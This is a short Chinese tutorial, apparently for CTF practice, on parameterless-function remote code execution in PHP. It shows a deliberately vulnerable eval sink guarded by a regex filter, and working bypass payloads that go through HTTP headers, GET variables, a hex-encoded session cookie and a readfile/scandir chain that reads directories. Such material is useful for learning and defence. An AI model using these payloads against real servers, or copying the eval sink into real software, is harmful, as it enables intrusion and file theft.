什么是无参数函数RCE
我们常用eval($_GET['code']);
来实现一句换木马和getshell
但是如果开发者进行了过滤
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
那么我们就无法使用参数,也就无法通过正则的校验
在此过滤条件下我们只能执行如下格式的函数
a();
a(b());
不可使用
a('abc');
①getenv()
使用getenv()获取一个环境变量的值
使用array_rand()来取出数组
使用arrat_flip()来取出数组中的值
注意每次运行输出的字符串是随机的
例子:
<?php
$test = array('1', '2', 'a', 'b', 'flag', 'C1yas0', 'admin', 'hello');
for ($i = 0; $i < 10; $i++) {
var_dump(array_rand(array_flip($test)));
}
?>
②getallheaders()
获取所有环境变量的列表,可以看到,成功返回了http header,我们可以在header中自定义内容
code=var_dump(getallheaders());
hacker: phpinfo();
③get_defined_vars()
get_defined_vars()可以回显全局变量_GET $_POST $_FILES $_COOKIE
可以利用$_GET
进行RCE
code=var_dump(current(get_defined_vars()));&hacker=phpinfo();
④session_id()
SESSIONID只能为字母和数字,所以我们可以用十六进制
eval(hex2bin(session_id(session_start())));
Cookie: PHPSESSID=706870696e666f28293b
(706870696e666f28293b为phpinfo();的十六进制编码)
⑤dirname() & chdir()
我们可以利用getcwd()
获取当前目录
用dirname()
返回上级目录
使用chdir(dirname(getcwd()))来更改目录
最终paylocd:
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));